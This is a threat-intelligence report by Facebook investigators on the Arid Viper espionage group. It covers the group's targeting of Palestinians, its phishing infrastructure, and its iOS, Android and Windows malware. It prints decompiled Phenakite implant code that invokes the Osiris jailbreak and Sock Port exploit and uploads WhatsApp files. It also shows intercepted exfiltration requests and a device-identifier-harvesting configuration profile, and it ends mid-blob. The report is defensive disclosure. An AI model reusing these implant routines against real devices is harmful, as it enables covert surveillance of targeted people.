STACKS ZADAR WEBSITE

[comment]:<> (===START_PAGE 1===) {0}------------------------------------------------ April 2021 # Technical Paper//Taking Action Against Arid Viper **Authors:** Michael Flossman and Michael Scott//Threat Investigators {1}------------------------------------------------ # TABLE OF CONTENTS | | | |-----------------------------------------------------------|-----------| | Executive Summary | 4 | | Key Findings | 5 | | Timeline around recent Arid Viper Operations | 8 | | Overview | 9 | | Background | 9 | | Recent Operations & Activity on Platform | 9 | | Victimology | 11 | | A Toolkit of Custom Malware for Multiple Platforms | 12 | | Phenakite - Arid Viper's iOS Implant | 12 | | Initial Device Compromise | 13 | | Inclusion of Public Exploits | 17 | | Capabilities | 17 | | Scope of iOS Targeting | 20 | | Evolving Android Surveillanceware | 21 | | Continued Development of Micropsia Windows Malware | 29 | | General Micropsia Behavior & Capability | 30 | | Persistence | 30 | | Command and Control Communication | 31 | | Phishing/Credential Theft | 33 | | Central Elections Commission Imposter Site | 33 | | Conclusion | 35 | | Appendix | 36 | {2}------------------------------------------------ ## Executive Summary Facebook is focused on protecting our users from malicious actors who attempt to conduct offensive cyber operations on our family of applications.This report details our investigation and disruption of the advanced persistent threat actor known in the security industry as Arid Viper, who we identified creating and using fake accounts in targeted cyber espionage campaigns.For the first time, we observed Arid Viper incorporating fully functional custom iOS surveillanceware, capable of stealing sensitive user data from iPhones without requiring devices be jailbroken prior to compromise. The focus of Arid Viper's recent operation we discuss in this paper shows similar geographic and occupational targeting as was previously reported by our industry peers.Much of Arid Viper's activity detailed in this report focused on individuals in Palestine, including government officials, members of the Fatah political party, student groups, and security forces. Arid Viper used sprawling infrastructure to support this most recent operation, including over a hundred websites that either hosted iOS and Android malware, attempted to steal credentials through phishing, or acted as command and control (C&C or C2) servers.A prevalent threat actor, Arid Viper appears to operate across multiple social media platforms. We shared threat indicators with industry peers and security researchers as part of a concerted effort to disrupt this group's operations.For Facebook, this has meant disabling Facebook and Instagram accounts created by Arid Viper operators, releasing malware hashes and domains associated with this threat actor, and notifying users who we believe were targeted by this activity in order to help them secure their accounts. {3}------------------------------------------------ ## Key Findings To protect the community, Facebook is releasing the following set of indicators around this activity. - 10 Android malware hashes - 2 iOS malware hashes - 8 desktop malware hashes - 179 domains ### 01 Facebook identified offensive cyber security activity by the threat actor known as Arid Viper We identified recent state-sponsored cyber espionage operations that we attributed with high confidence to Arid Viper.Our assessment is based on significant overlap between our findings and this actor's known tactics, techniques, and procedures (TTPs)¹.We are aware that some of the previous industry reports linked Arid Viper to the cyber arm of Hamas.However, we cannot conclusively confirm this connection based on our evidence. The malware Arid Viper deployed in 2019 and 2020 appears regionally specific, as does the victimology.Lure content and known victims suggest the target demographic is individuals associated with pro-Fatah groups, Palestinian --- ¹ Palo Alto Networks, "Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA," Source: [Last Accessed April 19, 2021] Kaspersky, "The Desert Falcons Targeted Attacks," Source: [Last Accessed April 19, 2021] Kaspersky, "Breaking The Weakest Link Of The Strongest Chain," Source: [Last Accessed April 19, 2021] Trend Micro, "Arid Viper:Gaza vs Israel Cyber Conflict," Source:[https://www.trendmicro.com/en\\_us/research/15/b/arid-viper-gaza-vs-israel-cyber-conflict.html](https://www.trendmicro.com/en_us/research/15/b/arid-viper-gaza-vs-israel-cyber-conflict.html) [Last Accessed April 19, 2021] ClearSky, "Infrastructure and Samples of Hamas' Android Malware Targeting Israeli Soldiers," Source: [Last Accessed April 19, 2021] Lookout, "FrozenCell:Multi-platform surveillance campaign against Palestinians," Source: [Last Accessed April 19, 2021] {4}------------------------------------------------ government organizations, military and security personnel, and student groups within Palestine. Although there is evidence of opportunistic targeting outside of Palestine, such cases appear politically motivated and consistent with targeting from this threat actor. ### 02 Arid Viper used custom surveillanceware in a fully functional chat application which didn't require a jailbreak for installation Arid Viper used custom iOS surveillanceware which has not been previously reported and reflects a tactical shift.We call this iOS component Phenakite due to it being somewhat rare and deriving its name from the Greek word Phenakos, meaning to deceive or cheat. Installation of Phenakite required that victims be tricked into installing a mobile configuration profile.This allowed for a device-specific signed version of the iOS app to be installed on a victim's device.A jailbroken device was not required. Post-installation, a jailbreak was necessary for the malware to elevate its privileges to retrieve sensitive user information not accessible via standard iOS permission requests.This was achieved with the publicly available Osiris jailbreak that also made use of the Sock Port exploit, both of which were bundled in the malicious iOS app store packages (IPAs). Arid Viper's iOS surveillanceware was trojanized inside a fully functional chat application that used the open source RealtimeChat code for legitimate app functionality.This malware could also direct victims to phishing pages for Facebook and iCloud in order to steal credentials for those services. Arid Viper's use of custom iOS surveillanceware shows that this capability is becoming increasingly attainable by adversaries believed to be of lower sophistication. {5}------------------------------------------------ ### 03 Arid Viper made use of continually evolving Android and Windows malware that it has relied on over the years The Android tooling used by Arid Viper shares many similarities with malware previously reported as FrozenCell and VAMP. The Android malware deployed by Arid Viper required victims to install apps from third-party sources on their devices.The group used a number of convincing, attacker-controlled sites to create the impression that the apps were legitimate. Arid Viper's recent operations also used variants of a malware family known as Micropsia, which previously has been associated with this threat actor. ### 04 Arid Viper continued distributing malware via social engineering and both attacker-controlled and 3rd party websites Delivery of both the Android and iOS malware involved social engineering. Android malware was typically hosted on convincing looking attacker-controlled phishing sites.At the time of writing, we discovered 41 such sites.While Arid Viper tooling has previously been discovered in official app channels like the Play Store, this was not found to be the case in this instance. iOS malware was previously found to be distributed from a 3rd party Chinese app development site.After engagement with industry partners which led to the revocation of multiple developer certificates, Arid Viper's ability to distribute Phenakite was disrupted.They have since been observed trying to set up their own infrastructure to distribute their iOS implant. {6}------------------------------------------------ ## Timeline around recent Arid Viper Operations ![A timeline diagram showing Facebook and Arid Viper actions from January 2019 to late 2020.Facebook actions include continuous detection, partner notification, and shared findings.Arid Viper actions include persistent posting, expanded tooling, and distribution of phishing links.](997233d405f0d4b89ddeb7683e047f66_img.jpg) | Facebook Actions | Timeline | Arid Viper Actions | |---------------------------------------------------------------------------------------------------------------------------------|-----------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------| | Continuous detection and blocking of links to malicious sites
Ongoing detection and removals of attacker-controlled accounts | JANUARY THROUGH AUGUST 2019 | Persistent attempts to post links to credential phishing websites and malicious sites hosting Android malware | | | AUGUST 2019 | Expanded tooling, began sharing links to a 3rd party app development site hosting custom iOS malware | | Notified industry partners, leading to revoking of the developer certificate used by Arid Viper | NOVEMBER 2019 | Purchased another Apple developer certificate to briefly distribute iOS malware through the same 3rd party app development site | | New developer certificate reported and quickly revoked | | Stopped using 3rd party app development website | | Shared findings more broadly with industry peers | NOVEMBER 2019 | Used own infrastructure to host incomplete non-operational test code to install iOS apps onto non-jailbroken devices | | | | Abandoned attempts to distribute iOS malware on Facebook.Returned to creating typo-squatting and look-alike domains to phish credentials and host Android malware | | | | | | Continuous account detection and removals, and blocking of Arid Viper websites | EARLY TO MID 2020 | Attempted to resume posting links to websites for credential phishing or hosting of Android malware | | | MID TO LATE 2020 | Distribution of phishing links to Android malware and credential phishing tapered off | | | | | A timeline diagram showing Facebook and Arid Viper actions from January 2019 to late 2020.Facebook actions include continuous detection, partner notification, and shared findings.Arid Viper actions include persistent posting, expanded tooling, and distribution of phishing links. {7}------------------------------------------------ ## Overview ## Background Over the past several years the operations of the advanced persistent threat (APT) actor Arid Viper, also called Desert Falcon and APT-C-23, attributed by some in the broader security community to the cyber arm of Hamas, have been detailed numerous times².These reports described various aspects of activity by a long-running persistent threat actor operating out of Gaza, Palestine, to conduct targeted intelligence-gathering operations since it emerged in 2011. The campaigns attributed to this group show how a relatively low-sophistication adversary used a combination of social engineering, phishing sites, and a continually evolving toolkit of Windows and Android malware to successfully run offensive cyber operations.Some of the past industry reports detailed that targeting occurred against a very regionally specific set of victims with ties to pro-Fatah organisations, Palestinian political groups, or the Israeli Defense Force. ## Recent Operations & Activity on Platform In mid-2019, as part of our continuous monitoring and enforcement against APTs, Facebook observed a spike in Arid Viper's activity involving the creation of dozens of fake Facebook and Instagram profiles. --- ² Palo Alto Networks, "Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA," Source: [Last Accessed April 19, 2021] Kaspersky, "The Desert Falcons Targeted Attacks," Source: [Last Accessed April 19, 2021] Kaspersky, "Breaking The Weakest Link Of The Strongest Chain," Source: [Last Accessed April 19, 2021] Trend Micro, "Arid Viper:Gaza vs Israel Cyber Conflict," Source:[https://www.trendmicro.com/en\\_us/research/15/b/arid-viper-gaza-vs-israel-cyber-conflict.html](https://www.trendmicro.com/en_us/research/15/b/arid-viper-gaza-vs-israel-cyber-conflict.html) [Last Accessed April 19, 2021] ClearSky, "Infrastructure and Samples of Hamas' Android Malware Targeting Israeli Soldiers," Source: [Last Accessed April 19, 2021] Lookout, "FrozenCell:Multi-platform surveillance campaign against Palestinians," Source: [Last Accessed April 19, 2021] {8}------------------------------------------------ ![Line chart titled 'Facebook & Instagram Account Creation by Arid Viper Operators' showing the number of accounts created from January 2019 to July 2020 for Facebook (FB Account) and Instagram (IG Account).](91be14371a97fb5ce9eeb29ae18d07c3_img.jpg) The chart displays the number of accounts created per month.The y-axis represents the number of accounts created, ranging from 0 to 21.The x-axis shows the timeline from January 2019 to July 2020.The blue line represents Facebook accounts, and the orange line represents Instagram accounts.A significant spike in Facebook account creation occurs in October 2019, peaking at 21 accounts.Instagram account creation also shows a peak in October 2019, reaching 11 accounts.Both series show lower, fluctuating numbers throughout the rest of the period. | Month | FB Account | IG Account | |----------|------------|------------| | Jan 2019 | 5 | 2 | | Feb 2019 | 4 | 1 | | Mar 2019 | 3 | 2 | | Apr 2019 | 1 | 2 | | May 2019 | 2 | 1 | | Jun 2019 | 1 | 6 | | Jul 2019 | 3 | 2 | | Aug 2019 | 15 | 1 | | Sep 2019 | 4 | 1 | | Oct 2019 | 21 | 11 | | Nov 2019 | 16 | 2 | | Dec 2019 | 10 | 6 | | Jan 2020 | 4 | 1 | | Feb 2020 | 2 | 3 | | Mar 2020 | 1 | 1 | | Apr 2020 | 1 | 1 | | May 2020 | 5 | 1 | | Jun 2020 | 2 | 1 | | Jul 2020 | 1 | 1 | Line chart titled 'Facebook & Instagram Account Creation by Arid Viper Operators' showing the number of accounts created from January 2019 to July 2020 for Facebook (FB Account) and Instagram (IG Account). This spike in account creation towards the later half of 2019 was observed alongside an increase in attempts to distribute both iOS and Android malware as well as phish credentials from users. ![Operational flow diagram showing the process from Arid Viper Operators to Victims (Socially Engineered) and then to three platform-specific attack paths:Android, iOS, and Desktop, each with associated malware capabilities.](7a0db9703b68b3d06cdaeefc084c0006_img.jpg) The diagram illustrates the operational flow of Arid Viper.It begins with 'ARID VIPER Operators' (represented by a person at a computer icon) who 'Socially Engineer' 'VICTIMS' (represented by a group of people icon).The victims are then directed to three distinct attack paths based on their platform: - ANDROID:** Victims are directed to convincing-looking attacker-controlled sites hosting malware.This requires a victim to allow installs from 3rd party sources.The associated malware capabilities include Audio, Messages, Data, Files, Accounts, Camera, Contacts, Location, and Calls.- IOS:** Victims are directed to a 3rd party app development site and issued a configuration profile.If accepted, Arid Viper's Phenakite surveillanceware is installed.The associated malware capabilities include Audio, Messages, Data, Files, Accounts, Camera, Contacts, Location, and Calls.- DESKTOP:** Victims are sent variants of the Micropsia malware that used a range of lure content.The associated malware capabilities include Screenshots, Files, Commands, and Keystrokes. Operational flow diagram showing the process from Arid Viper Operators to Victims (Socially Engineered) and then to three platform-specific attack paths:Android, iOS, and Desktop, each with associated malware capabilities. {9}------------------------------------------------ Facebook's automated malware analysis detection systems flagged many of Arid Viper accounts when they began sending malware on-platform or posted links to sites hosting custom malware.Like other hacking groups in the region, Arid Viper has relied heavily on social engineering to initially infect victim devices and has not deviated from this low-cost approach. ## Victimology Based on the analysis of lure documents used in Arid Viper's malware and other signals, much of this group's targeting was against individuals in Palestine.Of note, the targets included individuals affiliated with the Palestinian National Authority, Fatah, other oppositional government organisations, security services, and student groups: - Palestinian National Authority - Ministry of National Economy - Palestinian Liberation Org - Palestinian Special Police - Ministry of Interior - Ministry of Education - Palestinian Preventative Security - Palestinian National Liberation Movement Fatah - Student movements aligned with Fatah - Other Government employees {10}------------------------------------------------ ## A Toolkit of Custom Malware for Multiple Platforms None of the prior reporting on Arid Viper's activities mention that the group had developed an iOS capability. **We believe this recent development reflects the group's knowledge that some of their targets owned iPhones instead of Windows desktop or Android devices.It likely led them to fill a tooling gap, similar to the technological shift observed in 2014 and 2015 where Arid Viper expanded their offensive tooling from primarily desktop to include an Android capability.** Below, we share our technical analysis of their recently discovered custom iOS malware, followed by analysis of their current Android capability, and a brief summary of their continued use of Micropsia, a malware variant previously associated with this threat actor. **In all cases the successful installation of these tools did not require any exploits.This suggests that Arid Viper operators continue to heavily rely on social engineering to distribute their malware.** ### 1.Phenakite - Arid Viper's iOS Implant The latest tooling addition to Arid Viper's arsenal, what we have internally named Phenakite, is custom iOS malware discovered inside a fully functional trojanized chat application called Magic Smile.It makes use of publicly available code for both the legitimate chat component as well as the Sock Port exploit and Osiris jailbreak that would be used post installation.Facebook initially found Phenakite samples on a third party mobile application development site and later on Arid Viper controlled infrastructure. {11}------------------------------------------------ ![Three screenshots of a mobile chat application interface.The first shows a login screen with a smiley icon, email and password fields, and a 'Sign In' button.The second shows a chat history with messages like 'Hi' and 'How are you??'.The third shows a permission request dialog for 'MagicSmile' to access photos, with 'Don't Allow' and 'OK' buttons.](e3b8510f6a2194e250205ab7bc38076d_img.jpg) The image contains three screenshots of an iOS application interface. 1.The first screenshot on the left is a login screen.It features a blue speech bubble icon with a white smiley face at the top.Below it are input fields for 'Email' and 'Password'.A large blue 'Sign In' button is centered.At the bottom, there is a link that says 'Don't have an account? Sign Up'. 2.The middle screenshot shows a chat interface titled 'Your Fdeg'.It displays a message history with three incoming messages:'Hi', 'How are you??', and a row of five yellow smiley face emojis.Below these are two outgoing messages:'Hi' and 'How are you today?', each followed by a 'Read' status.At the bottom is a text input field with a plus icon and a send button. 3.The third screenshot on the right shows a permission request overlay.It features the same blue smiley face icon.The text reads:'"MagicSmile" Would Like to Access Your Photos.We use photo library to send picture and video messages.' There are two buttons:'Don't Allow' and 'OK'.Below the overlay, the 'Sign In' and 'Sign Up' buttons from the first screenshot are visible. Three screenshots of a mobile chat application interface.The first shows a login screen with a smiley icon, email and password fields, and a 'Sign In' button.The second shows a chat history with messages like 'Hi' and 'How are you??'.The third shows a permission request dialog for 'MagicSmile' to access photos, with 'Don't Allow' and 'OK' buttons. *Screenshots of the trojanized chat application that Arid Viper promoted on their website.We also later saw this app on a third party app development site.While the chat component was fully functional, malicious code would silently run in the background and retrieve sensitive information without user knowledge.* ### 1.1.Initial Device Compromise Phenakite was initially hosted on a website that contained tools and services to help with the development of Android and iOS apps.This website also included another component for iOS developers which they could download and install, likely for testing and limited distribution.This process involved the use of legitimate developer certificates which meant that devices didn't have to be jailbroken.³ As shown below, installing a malicious app required some degree of social engineering of the victim or physical access to their unlocked device. If socially engineered, the victim must first be tricked into visiting an unofficial app store, third party app development site, or attacker controlled website hosting Phenakite.Then, a user would be prompted to install a mobile configuration profile that, if accepted, would allow for the delivery and installation of Phenakite.This would be specifically signed for the target's iPhone. ³ Configuration Profile Examples, Source: [Last Accessed April 19, 2021] {12}------------------------------------------------ ![A flowchart illustrating the attack vector for iPhone users.It shows a path from 'VICTIMS iPhone Users' to a '3rd party app development site', then to 'configuration profile' issuance, and finally to 'iOS malware not delivered due to incomplete code'.](eefe19c5e14dc4d6c316b7f7fbb7d7d7_img.jpg) The diagram illustrates the attack flow for iPhone users.It begins with a box labeled "VICTIMS iPhone Users" with an arrow pointing to it from the left.From this box, an arrow points to a light green box containing a mobile app interface, gears, and a network icon.Below this box is the text:"iPhone targets in 2019 are directed to a 3rd party app development site." An arrow from this box points to a dark teal box labeled "Devices are issued a configuration profile." From there, an arrow points to another light green box containing a mobile app interface, gears, a red 'X' over a network icon, and a globe icon.Below this box is the text:"After being repeatedly removed from the 3rd party app development site Arid Viper hosts iOS malware on their own infrastructure." An arrow from this box points to the text:"iOS malware not delivered due to incomplete code." A flowchart illustrating the attack vector for iPhone users.It shows a path from 'VICTIMS iPhone Users' to a '3rd party app development site', then to 'configuration profile' issuance, and finally to 'iOS malware not delivered due to incomplete code'. ![Two side-by-side screenshots.The left screenshot shows a 'MagicSmile' app page with a QR code and a 'Screenshot' of the app's chat interface.The right screenshot shows a promotional page for 'MagicSmile' with a smartphone displaying the app.](0cc86fe8fc37b0edc9581f2af9459a52_img.jpg) The image consists of two side-by-side screenshots.The left screenshot shows a web page for "MagicSmile" with a blue smiley face logo, the text "Be connected all over the world by nice MagicSmile.", "App Store:No.1", a 5-star rating, and "Free".There is a QR code on the right with the text "Mobile phone scan code download application." Below this is a "Screenshot" of the app's chat interface, showing a conversation with "Your Fag" and various消息 bubble.The right screenshot shows a promotional page for "MagicSmile" with a blue background.It features a smartphone displaying the app's interface.The text reads:"MagicSmile allow to connect between people all over the world." and "Messaging Chats Any one want." Two side-by-side screenshots.The left screenshot shows a 'MagicSmile' app page with a QR code and a 'Screenshot' of the app's chat interface.The right screenshot shows a promotional page for 'MagicSmile' with a smartphone displaying the app. On the left:a page hosting Phenakite was found on a third party site that provides app development tools and services.On the right:the attacker controlled infrastructure promoting the trojanized Magic Smile chat application. {13}------------------------------------------------ ![Two screenshots of an iOS device showing the 'Install Profile' screen for 'MagicSmile'.The left screen shows the profile details, including the app name, developer (super-app-store.com), and a description.The right screen shows the 'Install Profile' screen with the 'MagicSmile' profile selected, displaying the device enrollment challenge and the signing certificates used by the profile.](7832324609ad3cc688064e0341612b32_img.jpg) The image contains two screenshots of an iOS device's 'Install Profile' screen.The left screenshot shows the profile details for 'MagicSmile' by 'apple.com'.It is signed by 'super-app-store.com' and is verified.The description states:'该配置文件帮助用户进行App安装授权 This profile will make an app installation authorization'.It contains a 'Device Enrollment Challenge'.The right screenshot shows the 'Install Profile' screen with 'MagicSmile' selected.It displays the 'DEVICE ENROLLMENT CHALLENGE' and the 'SIGNING CERTIFICATES' used by the profile.The certificates listed are 'super-app-store.com' (Issued by:Encryption Everywhere DV TLS CA - G1, Expires:May 9, 2020), 'DigiCert Global Root CA' (Issued by:DigiCert Global Root CA, Expires:November 9, 2031), and 'Encryption Everywhere DV TLS CA - G1' (Issued by:DigiCert Global Root CA, Expires:November 27, 2027). Two screenshots of an iOS device showing the 'Install Profile' screen for 'MagicSmile'.The left screen shows the profile details, including the app name, developer (super-app-store.com), and a description.The right screen shows the 'Install Profile' screen with the 'MagicSmile' profile selected, displaying the device enrollment challenge and the signing certificates used by the profile. Shown above is what a target would see during this process and the verified signing certificate chain.The signer used above is from the app delivery site and is not directly unique to Arid Viper because of how the distribution site works and rotates through signing profiles.The unsigned XML representation of this is below. ``` PayloadContent URL DeviceAttributes DEVICE_NAME UDID IMEI ICCID VERSION PRODUCT SERIAL MAC_ADDRESS_EWD Challenge PayloadOrganization apple.com PayloadDisplayName MagicSmile PayloadVersion 1 PayloadUUID PayloadIdentifier com.apple.profile-service PayloadDescription 该配置文件帮助用户进行App安装授权 This profile will make an app installation authorization PayloadType Profile Service ``` {14}------------------------------------------------ When Arid Viper previously had their tooling on the 3rd party app development site [zc.pgyer\[.\]com](https://zc.pgyer.com/), the profile that targets received would look similar to the screenshots shown earlier.If installed, key information would be sent from the target's device to the store, which could then be used to sign a device specific version of Arid Viper's malware.This general installation flow is expected and intended for use by developers and enterprises. ``` TeamIdentifier J22DGC9C5A TeamName Brenda Braun TimeToLive 357 ``` In other Phenakite samples analyzed, a team name of **Brenda Braun** and a team identifier of **J22DGC9C5A** were observed.When notified of this Apple was quick to take action against this developer and revoke their certificate. [illegible] The embedded provisioning profile present in one of the Magic Smile samples contained 74 unique device identifiers.When a developer certificate is used to install an iOS application, the {15}------------------------------------------------ unique device identifier (UDID) of a target iPhone needs to first be added to the associated provisioning profile before the app can be installed.For this reason, the provisioning profile contains a list of all UDIDs for devices that had this app installed which provides some insight into how many devices Arid Viper may have compromised at a minimum.A small subset of these identifiers have UDIDs that are 24 characters in length, indicating that they're iPhone XS models or newer. ### 1.2.Inclusion of Public Exploits While Phenakite does not require a jailbreak for installation, once on a device, it still must adhere to the usual operating system security controls that prevent access to sensitive information from unauthorized applications.To circumvent that, Phenakite comes bundled with the publicly available [Osiris](#) jailbreak and also includes the [Sock Port](#) exploit.This means that Phenakite is capable of using Osiris to jailbreak all 64 bit devices on iOS 11.2 to 11.3.1 and Sock Port to extend this to devices running iOS 10.0 to 12.2 (and potentially 12.4 and greater). | | | |------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |

 undefined8 uVar1; float local_30;  uVar1 = try_osiris_jb((ulonglong) *(uint *)(& Parm1 + 0x30)); if ((int)uVar1 != 0) {     return uVar1; } _objc_msgSend(&_OBJC_CLASS_\$_NSString, "stringWithFormat:", &cf_%s=%@); _objc_retainAutoreleasedReturnValue(); uVar1 = _objc_retainAutorelease(); _objc_msgSend(uVar1, "UTF8String"); FLN_10002a4e4("/usr/sbin/mvram", 1); _objc_release(uVar1); _sleep(1); _objc_msgSend(*(undefined8 *)(& Parm1 + 0x28), "FileTree"); FLN_10006f6b0(DAT_100ad5860, DAT_100ad5868);

 local_70 = *(longlong *)__stack_chk_guard; uVar4 = _puts("[!] exploit started!"); FLN_10006f20b((ulonglong)uVar4); iVar5 = FLN_1000a7f0(1); if (iVar5 != 0) {     uVar4 = _puts("[-] can't init IOSurface!");     uVar17 = (ulonglong)uVar4;     goto LAB_100022918; } _puts("[+] initialized IOSurface"); local_17f8 = 0xffffffffffffffff; if (DAT_100ad5838 == 0x4000) {     _uname(&local_570);     pcVar9 = (char *)(&local_570 + 0x80);     pcVar8 = _strchr(pcVar9, "IPad5,");     if ((pcVar8 != (char *)0x0)    (pcVar8 = _strchr(pcVar9, "IPad6,"), pcVar8 != (char *)0x0)) {         (pcVar9 = _strchr(pcVar9, "iPhone8,"), pcVar9 != (char *)0x0)) goto LAB_100021c30;     }     _puts("[+] detected SNAP device");     iVar5 = _pipe((int)register0x00000000 + -0x17f8);     if (iVar5 == 0) {         _bzero(local_b70, 0x600);         _write(local_17f8, _4_4_, local_b70, 0x600);         _read((int)local_17f8, local_b70, 0x600);         bVar2 = true;         goto LAB_100021c34;     }     pcVar9 = "[-] failed to create pipe fds";

| |------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| *Code snippets from Phenakite showing calls to the Osiris jailbreak on the left, and inclusion of the Sock Port exploit on the right.* #### 1.3.Capabilities The ability for Phenakite to gather sensitive user data from a compromised device is highly dependent on the successful execution of the exploits that it comes with.If Osiris jailbreak is successful then Phenakite has the following capabilities. {16}------------------------------------------------ - Retrieve photos from the camera roll - Take images with the device camera - Retrieve contacts - Silently record audio with the device microphone - Search for and return the path of files with a doc or PDF extension - Search through application data stored to `/var/mobile/Library &/var/mobile/Containers/Shared/AppGroup` - Retrieve device metadata - Retrieve text messages - Upload WhatsApp media data - Searches for ChatStorage.sqlite, Accounts3.sqlite, CallHistory.storedata, notes.sqlite, Calendar.sqlite, AddressBook.sqlitedb, itunesstored2.sqlitedb, Bookmarks.db, sms.db, - Retrieve attacker specified files - Collect any content sent or received via the trojanized chat application Phenakite was also found to direct users to phishing sites for iCloud and Facebook if, during the chat application sign up process, they opted to use either of these services for authentication. {17}------------------------------------------------ ``` do { uVar12 = 0; do { if (*local_130 != lVar7) { _objc_enumerationMutation(lVar8); } lVar13 = *(ID *) (lStack312 + uVar12 * 8); uVar3 = _objc_alloc(&_OBJC_CLASS_$_NSString); param_3_00 = _objc_msgSend(uVar3, "initWithFormat:", &cf_ %@/%@); _objc_msgSend(&_OBJC_CLASS_$_NSFileManager, "defaultManager"); uVar3 = _objc_retainAutoreleasedReturnValue(); lVar1 = _objc_msgSend(uVar3, "fileExistsAtPath:isDirectory:", param_3_00, &local_f1); _objc_release(uVar3); if (lVar1 != 0) { if (local_f1 == '\0') { _objc_msgSend(lVar13, "componentsSeparatedByString:", &cf_.); uVar3 = _objc_retainAutoreleasedReturnValue(); _objc_msgSend(uVar3, "objectAtIndexedSubscript:", 0); uVar4 = _objc_retainAutoreleasedReturnValue(); _objc_msgSend(uVar3, "objectAtIndexedSubscript:", 1); uVar10 = _objc_retainAutoreleasedReturnValue(); uploadWhats:filePath:(param_1, (SEL)"uploadWhats:filePath:", lVar13, param_3_00); _objc_release(uVar10); _objc_release(uVar4); _objc_release(uVar3); } else { readFileWhatsApp:(param_1, (SEL)"readFileWhatsApp:", param_3_00); } } _objc_release(param_3_00); uVar12 = uVar12 + 1; } while (uVar12 < uVar9); uVar9 = _objc_msgSend(lVar8, "countByEnumeratingWithState:objects:count:", &local_140, auStack240, 0x10); } while (uVar9 != 0); ``` Code snippet in Phenakite that's responsible for initially going into the WhatsApp/Message/Media directory and uploading any files present before recursively uploading any files in subdirectories. ``` Host:192.168.1.112 Content-Type:application/json Connection:close Accept:*/* User-Agent:app/4.7 (iPhone; iOS 12.4.5; Scale/2.00) Accept-Language:en-US;q=1 Content-Length:155 Accept-Encoding:gzip, deflate { "deviceName":".XXXXXXXXXXXXXXXXXXXXXXXXXXXX", "name":"recordP1-2020-06-30 16:31:27.m4a", "audio":"\\\\/lsYAFgAADQAaf\\\/+WxgAWAAAAAAB\\\/\\5bGABYAAA0AAH" } ``` {18}------------------------------------------------ Man-in-the-middling traffic during local testing of a patched version of Phenakite found it to be periodically recording audio and notifying C2 infrastructure, in this case our local test server. ``` Host:192.168.1.112 Content-Type:application/json Connection:close Accept:*/* User-Agent:app/4.7 (iPhone; iOS 12.4.5; Scale/2.00) Accept-Language:en-US;q=1 Content-Length:1266015 Accept-Encoding:gzip, deflate {"img_name":"BackCamera_0.426210.jpg", "img":"\"/9j\\4AAQSkZJRgABAQAAASABIAAD\\4QBYRXdPz8AAATU0AKgAAAAgAASAAAAAAABAAQAAIApAAQAAAAABAAAIgAAAAAAAA6ABAAAMAAj04HITA4wazmqWDkg1KS10g9YuybFR8ur62Xbd2TSW6WGx1OdbLsXUrT\\AOXn1mKpRt1jB6c6aV0+763sWJtMhNzHDPsakkCS17SFmcAYIOTtQ5\\fnV0W7XTa\\wD29ZMms7WvHnQxt5dQIRBHHtjTEx+VRHtAJHJIDMQOAApxxurzkKx+YShUhhNnCS5k52mo3u2o3b0X1JrbXX1nLk+BjRqvEqax\\v yPY1qgGHP0Ki0Va8eQx5a5iSf1Zk89d7eq3NawTj1KXVL10WJCor1\\gWmbk31PvuvLrutCoInKLHrm\\AlQyF0ZkUJ37ctacRty\\8AtLznux HnBawMVlQxqJy9nSoqJTt52VlPugJ7ySet+yX36HnSwE3GM1Um7WcHBc3Nbbm6b+fnq21KURX0rxvGLGR5RYVcIfTHDYYYXgscCPx4rbGUKKHGv 37tw6XsOFL3Wo15U3Ss+bmndam0t7Ss76La3W2trjrkx3D12PzXmSFPFPF1E5YB8c7JQ23naMYLA8AjpH+AoJpYevGnhBuW7T912evNst139W1ct SadRqEla+iT3120SXBr1R6ONpazhTpoc3h1zJ5rU6qdZpPWTg29b01vLdml1l0Q16aZzKlyAvm+WpLkdyneTtYqRgRhp640G7JYqtJZU\\bVZui s85R89du2ut+ttWcWp4fGUZRxnSjS1Vkpo50Phnjbsm1160\\puOvHkhAc380McoqP1hBTRRRnvu3J0+c8HYxXz21VrBVcRw0TpV2e1g9HkNKKV 0d\\V\\Miiike3uUtbLaYsCzAkWwax\\ihLhNqCBuUP0HGxunEV8XQvKWmOg9JczXpQn9h2v0\\LXc9rCrFYjAQ1T915W5GDRRIPFRqMW7tv YugoSAV4UpuwPunHPiH3qzj18PqgXWqCeJTv6zu2318tb\\wBNWNH16tpYSUg8CNFPZXLdm920za7p+tle7dr1e5c2z2wX9\\C7AJvEsW9vYswyZ MYW7Rz282b70Ww8XDFfKpdsoww642kDpDfOy\\E4nF88XgXw02cvvVLSa\\wutunorpK97W002eJqVChJtJw90j7ceWbpybk2trx1a37+etli z7278M6Lalw0R8o3DyKsrsPvL124jHqX69s42s6201P2c8fJ4Vr4aNd309b6p3aV9f07vRmcJ4fL6dSgoKdXWxQiitXW6emZ\\2r+W5VMdxfyuI GKqtvJUHd\\G0uW0Wn+Pn7TALDLCQhUk43s5Yj85X8u2npa8sMRiMxqybrK19XpyXKnUvUxKdK1tNV69fe3jxkwpdzPdpqHk4DG4LBFY5Hdbc2Bpc 5huJRkxxAB3I2nJcKKAQAQoWvB4BuzMPVnQXitqk6ntilg5TXKK\\TfzX0XprryNo8RjIUG6dV61acqnuvmg+wKaAbTs\\Xded7F61RreKf5FLZrj veej6xk1Su17unnYbNo2EiGwny2EcW7hVEn5mbcB0YgbuR224TXkK1VrnqpF4bxd\\Xdap7KsXpce6uzvBz1e5w0685+7KcYTLCDa6SStbq21px 